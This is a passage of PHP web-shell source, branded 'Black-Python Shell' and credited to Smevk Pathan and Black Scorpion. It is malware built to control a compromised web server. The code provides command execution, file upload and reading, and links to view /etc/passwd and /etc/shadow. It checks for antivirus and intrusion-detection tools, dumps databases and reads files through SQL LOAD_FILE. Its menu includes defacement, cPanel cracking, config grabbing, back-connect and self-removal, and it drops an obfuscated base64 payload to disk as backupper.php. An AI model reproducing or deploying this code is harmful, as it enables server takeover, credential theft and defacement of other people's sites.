260 .menu th:hover{background:#0F1010;text-decoration: none;}
261 pre {font-family: Josefin Sans, sans-serif;color:#FFFFFF;}
262 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
263
264
265 .cpr {margin-bottom:5px;font-weight:bold; }
266 .cpb {width:34px;margin:0 5px;}
267
268 .npoad td {padding:0;}
269 #Smevktools{
270 margin-top:50px;
271 width:500px;
272 border:1px solid;
273 border-radius:10px;
274 }
275 .smevklogo td{
276 font-size:12px;
277 font-weight:bold;
278
279
280
281 }
282 .smevklogo{
283 margin-left:5px;
284 background:url();
285 background-repeat: no-repeat;
286 background-position: CENTER;
287 background-color:#0F1010;
288 background-size: 400px 120px;
289
290
291
292 }
293 </style>
294
295</html>
296<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-9/cur849.ani), url(http://cur.cursors-4u.net/cursors/cur-9/cur849.png), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2011/11/22/night-diamond-bloody-red-diagonal-resize-2.html" target="_blank" title="Night Diamond Bloody Red - Diagonal Resize 2"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Night Diamond Bloody Red - Diagonal Resize 2" style="position:absolute; top: 0px; right: 0px;" /></a>
297 <script>
298 function set(a,c,p1,p2,p3,charset) {
299 if(a != null)document.mf.a.value=a;
300 if(c != null)document.mf.c.value=c;
301 if(p1 != null)document.mf.p1.value=p1;
302 if(p2 != null)document.mf.p2.value=p2;
303 if(p3 != null)document.mf.p3.value=p3;
304 if(charset != null)document.mf.charset.value=charset;
305 }
306 function g(a,c,p1,p2,p3,charset) {
307 set(a,c,p1,p2,p3,charset);
308 document.mf.submit();
309 }
310 function a(a,c,p1,p2,p3,charset) {
311 set(a,c,p1,p2,p3,charset);
312 var params = "ajax=true";
313 for(i=0;i<document.mf.elements.length;i++)
314 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
315 sr("'.$_SERVER['REQUEST_URI'].'", params);
316 }
317 function sr(url, params) {
318 if (window.XMLHttpRequest) {
319 req = new XMLHttpRequest();
320 req.onreadystatechange = processReqChange;
321 req.open("POST", url, true);
322 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
323 req.send(params);
324 }
325 else if (window.ActiveXObject) {
326 req = new ActiveXObject("Microsoft.XMLHTTP");
327 if (req) {
328 req.onreadystatechange = processReqChange;
329 req.open("POST", url, true);
330 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
331 req.send(params);
332 }
333 }
334 }
335 function processReqChange() {
336 if( (req.readyState == 4) )
337 if(req.status == 200) {
338 //alert(req.responseText);
339 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
340 var arr=reg.exec(req.responseText);
341 eval(arr[2].substr(0, arr[1]));
342 }
343 else alert("Request error!");
344 }
345 </script>
346 <head><link href="https://fonts.googleapis.com/css?family=Audiowide" ></head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
347 <form method=post name=mf style="display:none;">
348 <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
349 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
350 <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
351 <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
352 <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
353 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
354 </form><center><font color="green" size="48"/> Black-<font color="white"/>-Python Shell</font></font></center>';
355 $freeSpace = @diskfreespace($GLOBALS['cwd']);
356 $totalSpace = @disk_total_space($GLOBALS['cwd']);
357 $totalSpace = $totalSpace?$totalSpace:1;
358 $disable_functions = @ini_get('disable_functions');
359 $release = @php_uname('r');
360 $kernel = @php_uname('s');
361 if(!function_exists('posix_getegid')) {
362 $user = @get_current_user();
363 $uid = @getmyuid();
364 $gid = @getmygid();
365 $group = "?";
366 } else {
367 $uid = @posix_getpwuid(@posix_geteuid());
368 $gid = @posix_getgrgid(@posix_getegid());
369 $user = $uid['name'];
370 $uid = $uid['uid'];
371 $group = $gid['name'];
372 $gid = $gid['gid'];
373 }
374 $cwd_links = '';
375 $path = explode("/", $GLOBALS['cwd']);
376 $n=count($path);
377 for($i=0;$i<$n-1;$i++) {
378 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
379 for($j=0;$j<=$i;$j++)
380 $cwd_links .= $path[$j].'/';
381 $cwd_links .= "\")'>".$path[$i]."/</a>";
382 }
383 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
384 $opt_charsets = '';
385 foreach($charsets as $item)
386 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
387 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Sql'=>'Sql','Console'=>'Console','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','CgiShell'=>'CgiShell','Defacer' => 'Deface','Mini Shell'=>'cleanshell','CP Cracker'=>'cpcrack','Symlink'=>'usescript','Config'=>'configgrab','Zone-h Notifier'=>'usefulla','Backup'=>'Backupper','String tools'=>'StringTools','Shells'=>'ImportScripts','Scripts'=>'ImportTools','Priv8 Tools' => 'Priv8','Back Connecter'=>'BackConnect','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Code Injector'=>'Injector','Dir Deface'=>'DirDefacer','Domains' => 'Domain','Self Remove' => 'SelfRemove');
388 if(!empty($GLOBALS['auth_pass']))
389 $m['Leave'] = 'Logout';
390 $menu = '';
391 foreach($m as $k => $v)
392 $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
393 $drives = "";
394 if ($GLOBALS['os'] == 'win') {
395 foreach( range('a','z') as $drive ){
396 if (is_dir($drive.':\\'))
397 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
398 }
399 $drives .= '<br />: ';
400 }
401 if($GLOBALS['os'] == 'nix') {
402 $dominios = @file_get_contents("/etc/named.conf");
403 if(!$dominios) {
404 $DomainS = "/var/named";
405 $Domainonserver = scandir($DomainS);
406 $d0c = count($Domainonserver);
407 } else {
408 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
409 $out = sizeof(array_unique($out[1]));
410 $d0c = $out." Domains";
411 }
412 } else {
413 $d0c = "1";
414 }
415 if($GLOBALS['os'] == 'nix' )
416 {
417 $usefl = ''; $dwnldr = '';
418 if(!@ini_get('safe_mode')) {
419 $temp = array();
420 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
421 foreach($userful as $item) { if(which($item)) $temp[]= $item; }
422 $usefl = implode(', ',$temp);
423 $temp = array();
424 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
425 foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
426 $dwnldr = implode(', ',$temp);
427 } else {
428 $usefl = ' ------- '; $dwnldr = ' ------- ';
429 }
430 } else {
431 $usefl = ' ------- '; $dwnldr = ' ------- ';
432 }
433 echo '<div class="smevklogo"><table class="info" cellpadding="0" cellspacing="0" width="100%"><tr>
434 <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
435 <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>D/functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
436 '<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
437 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table></div>'.
438 '</div></div><div style="margin:5;background:black;"><div class="content" style="border-top:5px solid 430303;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:black;">';
439}
440function printFooter() {
441 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=".$color.">[ Writeable ]</font>":"<font color=#EB4949>[ Not writable ]</font>";
442
443echo '</div><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
444<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
445 <tr>
446 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
447 <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
448 </tr>
449 <tr>
450 <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
451 <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
452 </tr>
453 <tr>
454 <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
455 <td><form method="post" ENCTYPE="multipart/form-data">
456 <input type=hidden name=a value="FilesMAn">
457 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
458 <input type=hidden name=p1 value="uploadFile">
459 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
460 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
461 </tr>
462</table></div></div><div style="margin:5px;background:black;"><div class="content" style="border:2px solid '.$Theme.';text-align:center;font-weight:bold; border-radius:6px;margin:auto; width:1000;"><marquee>Real Shell By Smevik Modified By Black Scorpion</marquee></div></div>
463</div></div><br><br>
464<div style="margin:5px;background:black;"><div class="content" style="border:2px solid '.$Theme.';text-align:center;font-weight:bold; border-radius:6px;margin:auto; width:500;">Real Shell By Smevk_Pathan <br>Some Changes By Black Scorp</a></div></div>
465</div></div>
466
467</body></html>';
468}
469
470if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
471if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
472
473
474function viewSize($s) {
475 if($s >= 1073741824)
476 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
477 elseif($s >= 1048576)
478 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
479 elseif($s >= 1024)
480 return sprintf('%1.2f', $s / 1024 ) . ' KB';
481 else
482 return $s . ' B';
483}
484
485function perms($p) {
486 if (($p & 0xC000) == 0xC000)$i = 's';
487 elseif (($p & 0xA000) == 0xA000)$i = 'l';
488 elseif (($p & 0x8000) == 0x8000)$i = '-';
489 elseif (($p & 0x6000) == 0x6000)$i = 'b';
490 elseif (($p & 0x4000) == 0x4000)$i = 'd';
491 elseif (($p & 0x2000) == 0x2000)$i = 'c';
492 elseif (($p & 0x1000) == 0x1000)$i = 'p';
493 else $i = 'u';
494 $i .= (($p & 0x0100) ? 'r' : '-');
495 $i .= (($p & 0x0080) ? 'w' : '-');
496 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
497 $i .= (($p & 0x0020) ? 'r' : '-');
498 $i .= (($p & 0x0010) ? 'w' : '-');
499 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
500 $i .= (($p & 0x0004) ? 'r' : '-');
501 $i .= (($p & 0x0002) ? 'w' : '-');
502 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
503 return $i;
504}
505
506function viewPermsColor($f) {
507 if (!@is_readable($f))
508 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
509 elseif (!@is_writable($f))
510 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
511 else
512 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
513}
514
515if(!function_exists("scandir")) {
516 function scandir($dir) {
517 $dh = opendir($dir);
518 while (false !== ($filename = readdir($dh))) {
519 $files[] = $filename;
520 }
521 return $files;
522 }
523}
524
525function actionSecInfo() {
526 printHeader();
527 echo '<h1>Server security information</h1><div class=content>';
528 function showSecParam($n, $v) {
529 $v = trim($v);
530 if($v) {
531 echo '<span>'.$n.': </span>';
532 if(strpos($v, "\n") === false)
533 echo $v.'<br>';
534 else
535 echo '<pre class=ml1>'.$v.'</pre>';
536 }
537 }
538
539 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
540 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
541 showSecParam('Open base dir', @ini_get('open_basedir'));
542 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
543 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
544 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
545 $temp=array();
546 if(function_exists('mysql_get_client_info'))
547 $temp[] = "MySql (".mysql_get_client_info().")";
548 if(function_exists('mssql_connect'))
549 $temp[] = "MSSQL";
550 if(function_exists('pg_connect'))
551 $temp[] = "PostgreSQL";
552 if(function_exists('oci_connect'))
553 $temp[] = "Oracle";
554 showSecParam('Supported databases', implode(', ', $temp));
555 echo '<br>';
556
557 if( $GLOBALS['os'] == 'nix' ) {
558 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
559 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
560 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
561 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
562 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
563 showSecParam('OS version', @file_get_contents('/proc/version'));
564 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
565 if(!$GLOBALS['safe_mode']) {
566 echo '<br>';
567 $temp=array();
568 foreach ($userful as $item)
569 if(which($item)){$temp[]=$item;}
570 showSecParam('Userful', implode(', ',$temp));
571 $temp=array();
572 foreach ($danger as $item)
573 if(which($item)){$temp[]=$item;}
574 showSecParam('Danger', implode(', ',$temp));
575 $temp=array();
576 foreach ($downloaders as $item)
577 if(which($item)){$temp[]=$item;}
578 showSecParam('Downloaders', implode(', ',$temp));
579 echo '<br/>';
580 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
581 showSecParam('HDD space', ex('df -h'));
582 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
583 }
584 } else {
585 showSecParam('OS Version',ex('ver'));
586 showSecParam('Account Settings',ex('net accounts'));
587 showSecParam('User Accounts',ex('net user'));
588 }
589 echo '</div>';
590 printFooter();
591}
592
593
594function actionSql() {
595 class DbClass {
596 var $type;
597 var $link;
598 var $res;
599 function DbClass($type) {
600 $this->type = $type;
601 }
602 function connect($host, $user, $pass, $dbname){
603 switch($this->type) {
604 case 'mysql':
605 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
606 break;
607 case 'pgsql':
608 $host = explode(':', $host);
609 if(!$host[1]) $host[1]=5432;
610 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
611 break;
612 }
613 return false;
614 }
615 function selectdb($db) {
616 switch($this->type) {
617 case 'mysql':
618 if (@mysql_select_db($db))return true;
619 break;
620 }
621 return false;
622 }
623 function query($str) {
624 switch($this->type) {
625 case 'mysql':
626 return $this->res = @mysql_query($str);
627 break;
628 case 'pgsql':
629 return $this->res = @pg_query($this->link,$str);
630 break;
631 }
632 return false;
633 }
634 function fetch() {
635 $res = func_num_args()?func_get_arg(0):$this->res;
636 switch($this->type) {
637 case 'mysql':
638 return @mysql_fetch_assoc($res);
639 break;
640 case 'pgsql':
641 return @pg_fetch_assoc($res);
642 break;
643 }
644 return false;
645 }
646 function listDbs() {
647 switch($this->type) {
648 case 'mysql':
649 return $this->res = @mysql_list_dbs($this->link);
650 break;
651 case 'pgsql':
652 return $this->res = $this->query("SELECT datname FROM pg_database");
653 break;
654 }
655 return false;
656 }
657 function listTables() {
658 switch($this->type) {
659 case 'mysql':
660 return $this->res = $this->query('SHOW TABLES');
661 break;
662 case 'pgsql':
663 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
664 break;
665 }
666 return false;
667 }
668 function error() {
669 switch($this->type) {
670 case 'mysql':
671 return @mysql_error($this->link);
672 break;
673 case 'pgsql':
674 return @pg_last_error($this->link);
675 break;
676 }
677 return false;
678 }
679 function setCharset($str) {
680 switch($this->type) {
681 case 'mysql':
682 if(function_exists('mysql_set_charset'))
683 return @mysql_set_charset($str, $this->link);
684 else
685 $this->query('SET CHARSET '.$str);
686 break;
687 case 'mysql':
688 return @pg_set_client_encoding($this->link, $str);
689 break;
690 }
691 return false;
692 }
693 function dump($table) {
694 switch($this->type) {
695 case 'mysql':
696 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
697 $create = mysql_fetch_array($res);
698 echo $create[1].";\n\n";
699 $this->query('SELECT * FROM `'.$table.'`');
700 while($item = $this->fetch()) {
701 $columns = array();
702 foreach($item as $k=>$v) {
703 $item[$k] = "'".@mysql_real_escape_string($v)."'";
704 $columns[] = "`".$k."`";
705 }
706 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
707 }
708 break;
709 case 'pgsql':
710 $this->query('SELECT * FROM '.$table);
711 while($item = $this->fetch()) {
712 $columns = array();
713 foreach($item as $k=>$v) {
714 $item[$k] = "'".addslashes($v)."'";
715 $columns[] = $k;
716 }
717 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
718 }
719 break;
720 }
721 return false;
722 }
723 };
724 $db = new DbClass(@$_POST['type']);
725 if(@$_POST['p2']=='download') {
726 ob_start("ob_gzhandler", 4096);
727 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
728 $db->selectdb($_POST['sql_base']);
729 header("Content-Disposition: attachment; filename=dump.sql");
730 header("Content-Type: text/plain");
731 foreach($_POST['tbl'] as $v)
732 $db->dump($v);
733 exit;
734 }
735 printHeader();
736 echo '<h1>Sql browser</h1><div class=content>
737 <form name="sf" method="post">
738 <table cellpadding="2" cellspacing="0">
739 <tr>
740 <td>Type</td>
741 <td>Host</td>
742 <td>Login</td>
743 <td>Password</td>
744 <td>Database</td>
745 <td></td>
746 </tr>
747 <tr>
748 <input type=hidden name=a value=Sql>
749 <input type=hidden name=p1 value=\'query\'>
750 <input type=hidden name=p2>
751 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
752 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
753 <td>
754 <select name=\'type\'>
755 <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
756 <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
757 </select></td>
758 <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
759 <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
760 <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
761 <td>';
762 $tmp = "<input type=text name=sql_base value=''>";
763 if(isset($_POST['sql_host'])){
764 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
765 switch($_POST['charset']) {
766 case "Windows-1251": $db->setCharset('cp1251'); break;
767 case "UTF-8": $db->setCharset('utf8'); break;
768 case "KOI8-R": $db->setCharset('koi8r'); break;
769 case "KOI8-U": $db->setCharset('koi8u'); break;
770 case "cp866": $db->setCharset('cp866'); break;
771 }
772 $db->listDbs();
773 echo "<select name=sql_base><option value=''></option>";
774 while($item = $db->fetch()) {
775 list($key, $value) = each($item);
776 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
777 }
778 echo '</select>';
779 }
780 else echo $tmp;
781 }else
782 echo $tmp;
783 echo '</td>
784 <td><input type=submit value=">>"></td>
785 </tr>
786 </table>
787 <script>
788 function st(t,l) {
789 document.sf.p1.value = \'select\';
790 document.sf.p2.value = t;
791 if(l!=null)document.sf.p3.value = l;
792 document.sf.submit();
793 }
794 function is() {
795 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
796 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
797 }
798 </script>';
799 if(isset($db) && $db->link){
800 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
801 if(!empty($_POST['sql_base'])){
802 $db->selectdb($_POST['sql_base']);
803 echo "<tr><td width=1 style='border-top:1px solid #a3e956;border-right:2px solid #a3e956;'><span>Tables:</span><br><br>";
804 $tbls_res = $db->listTables();
805 while($item = $db->fetch($tbls_res)) {
806 list($key, $value) = each($item);
807 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
808 $value = htmlspecialchars($value);
809 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
810 }
811 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:1px solid #a3e956;'>";
812 if(@$_POST['p1'] == 'select') {
813 $_POST['p1'] = 'query';
814 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
815 $num = $db->fetch();
816 $num = $num['n'];
817 echo "<span>".$_POST['p2']."</span> ($num) ";
818 for($i=0;$i<($num/30);$i++)
819 if($i != (int)$_POST['p3'])
820 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
821 else
822 echo ($i+1)," ";
823 if($_POST['type']=='pgsql')
824 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
825 else
826 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
827 echo "<br><br>";
828 }
829 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
830 $db->query(@$_POST['p3']);
831 if($db->res !== false) {
832 $title = false;
833 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
834 $line = 1;
835 while($item = $db->fetch()) {
836 if(!$title) {
837 echo '<tr>';
838 foreach($item as $key => $value)
839 echo '<th>'.$key.'</th>';
840 reset($item);
841 $title=true;
842 echo '</tr><tr>';
843 $line = 2;
844 }
845 echo '<tr class="l'.$line.'">';
846 $line = $line==1?2:1;
847 foreach($item as $key => $value) {
848 if($value == null)
849 echo '<td><i>null</i></td>';
850 else
851 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
852 }
853 echo '</tr>';
854 }
855 echo '</table>';
856 } else {
857 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
858 }
859 }
860 echo "<br><textarea name='p3' style='background-color:black; color: white;width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
861 echo "</td></tr>";
862 }
863 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
864 if(@$_POST['p1'] == 'loadfile') {
865 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
866 $file = $db->fetch();
867 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
868 }
869 }
870 echo '</div>';
871 printFooter();
872}
873
874
875function actionBackupper() {
876 printHeader();
877 $backupper = "rVXdTtswFL4uEu/gSVmTSpAWxsVEVMGmMXEHot0mxFDkOk7j4diZf4Ay8Qq72c3uuNkD8gizY6dNq1bjYqnUxN/5zjmfz4lPulQlE57NgFQziofd75obAKKbqeCaZbuIUy4OwYQaKPGLu4IonICcM7Wbw5LQ2SFAWkhy26CSPOBDsLc/eJ24iN2pSra3uiYZwkxhsViXWEGACigkVj79p/HH3berfsUb+3zJNfgCGYNgpKBQYFxg8N5I0xU4y+vVyGgDR8C69J2P8z+qimp7CwvBRSpwxYUibBoNesZ8tGDlXJQAIkU482LcPzAyC5557PxsNG7r61hXwiqtgJpVTRWlnpREeX8Gy7X4LaS6MVzqc4+2m/GSom9qWLsZg3kzQH+x4b7d8WqVOrlmdQ3AOzZgUUBYD/wwMDBXwM0uhyAMEw+QPGroKb4nUskoxPcYhb2Fk72OLWhj7dgQvaRl8jGPv3HCIqfxK3P3ZfIjphKvS1hBKVUh9GpSPkmlfVGipXzHDb3e2holxm2KVYoohiz6d3Y5kwqXL8ztyP8rc4EpTdeV28dbEJYyNgGJNIdBci0QjoLc9qDiFa5bvuMaINyttz58+4y0d2PeVoqjV8c55rkJ3Ou1bHP3eAhygWFmCDt7g/2DpXpUiHJpRS00+7vASgtWh7AmA5t/kgOzGTNDoiC1x/MqdMcsvPbCO4G0k2EIgnR0cvH55OIqPB2Pz9NTQw6vk5pRQVUYhmkAustc9TsBlJktTG2Mw37oUArtb1O4OIwfSOWpiJclZNm8WigDcZwYO6j0hBKUFqqkSXnbXlp3T49r4bFfGNxSG5OT4Y1z1Er2mM3WTkPlOtaigZ3AvA+a2t66s+/Vu2JgVHAQ1uP4wA6ND5xh8Pz059fz0++fbuTWuH2c1EM+XPGDwByJ6XzUp2ZOsZvNU0/gbMPM8z6FwPkw9JsJm9yNujtGOcxWhPXhXNjj0vDvr36b+vbLaJd/AQ==";
878 $back = @fopen("backupper.php", "w");
879 @fwrite($back, htmlspecialchars_decode(gzinflate(base64_decode($backupper))));
880 @fclose($back);
881 ?>
882 <center>
883 <h1>Site Backupper </h1><br>
884 <iframe src="backupper.php" height="300" width="100%"></iframe>
885
886 <?php
887
888 printFooter();
889}
890
891function actionLogout() {
892 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
